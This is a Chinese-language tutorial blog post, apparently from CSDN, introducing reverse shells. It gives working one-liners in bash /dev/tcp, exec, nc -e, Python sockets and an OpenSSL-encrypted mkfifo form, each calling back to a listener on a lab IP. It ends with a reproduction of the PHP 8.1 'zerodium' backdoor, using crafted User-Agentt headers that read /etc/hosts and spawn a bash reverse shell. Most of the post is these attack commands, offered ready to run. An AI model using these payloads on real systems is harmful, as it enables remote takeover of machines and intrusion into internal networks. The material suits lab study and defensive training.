反弹shell初识

前提:node2( 75)控制端机器,node1( 74)为要被控制端机器

一、为何需要反弹shell

当正向连接不可达时:
  • 客户机中了木马,但是在局域网内,无法正向连接。
  • 由于防火墙和局域网的限制,对方只能发送请求,不可主动接受请求

二、反弹shell原理

反弹shell是指控制端监听某个TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出传递到控制端的过程。
reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。

三、常见的反弹shell命令

3.1、bash进行反弹

1、首先控制端机器node2(75)开启监听:
nc -lvnp 4444    # 1:监听模式,v:显示指令执行过程, p:设置使用的通信端口
2、被控制端机器node1(74)允许反弹shell,执行:
bash -i >& /dev/tcp/控制端机器ip/控制端机器监听的port 0>&     
解释:
  • bash -i:打开一个交互式的bash
  • /dev/tcp/:是Linux中的一个特殊设备,打开这个文件相当于发出一个socket调用,建立一个socket连接;不存在可以手工创建
  • >&: 后面接文件时,表示将标准输出和标准错误输出重定向至文件
  • 0>&1: 代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了“/dev/tcp/本机机器ip/本机机器监听的port”这个文件,也就是远程,那么标准输入也就重定向到了远程
3、步骤2执行后,此时再看控制端机器node2已经反弹到被控制端node1,可以对被控制端机器node1进行操作

3.2、使用exec执行反弹shell的方式

1、首先控制端机器node2(75)开启监听:
nc -lvnp 4444    # 1:监听模式,v:显示指令执行过程, p:设置使用的通信端口
2、被控制端机器node1(74)允执行:
root@node1:~# exec 5<> /dev/tcp/192.168.11.75/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
3、步骤2执行后,此时再看控制端机器node2

3.3、使用nc进行反弹shell

1、首先控制端机器node2(75)开启监听:
nc -lvnp 4444    # 1:监听模式,v:显示指令执行过程, p:设置使用的通信端口
2、被控制端机器node1(74)允执行: 需要安装经典的netcat-traditional,不然nc -e报错 关于nc无法使用-e参数 nc:invalid option -- ‘e’_tonine9的博客-CSDN博客
nc -e /bin/bash 192.168.11.75 4444
3、步骤2执行后,此时再看控制端机器node2

3.4、基于python反弹shell

1、首先控制端机器node2(75)开启监听:
nc -lvnp 4444    # 1:监听模式,v:显示指令执行过程, p:设置使用的通信端口
2、被控制端机器node1(74)允执行:
root@node1:~# python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);  s.connect(("192.168.11.75",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);  os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
3、步骤2执行后,此时再看控制端机器node2已经反弹到被控制端node1,可以对被控制端机器node1进行操作

3.5、加密反弹shell

1、首先控制端机器node2(75)生成证书:
root@node2:~# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
会生成cert.pem、key.pem文件
然后执行:
root@node2:/home# openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
2、被控制端机器node1(74)允执行: /tem/s要存在
root@node1:~# mkfifo /tem/s; /bin/bash -i < /tem/s 2>&1 | openssl s_client -quiet -connect 192.168.11.75:4444 > /tem/s;rm /tem/s
3、步骤2执行后,此时再看控制端机器node2已经反弹到被控制端node1,可以对被控制端机器node1进行操作

四、靶机部署

a、环境:
    控制端机器:192.168.11.234
    被控制端机器:192.168.11.135
b、在控制端机器:192.168.11.234
执行命令:nc -lvnp 4444   
c、在被控制端机器:192.168.11.135
下载vulhub:git clone https://github.com/vulhub/vulhub.git
进入目录:cd ./vulhub-master/php/8.1-backdoor/
启动环境:docker-compose up -d
d、backdoor漏洞复现:
User-Agentt: zerodiumsystem("cat /etc/hosts");
d、shell反弹漏洞复现
User-Agentt: zerodiumsystem("bash -c ' exec bash -i >& /dev/tcp/192.168.11.234/4444 0>&1'");
控制端机器直接反弹到被控制机器上,可以操作被控制机器了:

五、参考

  • 3
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值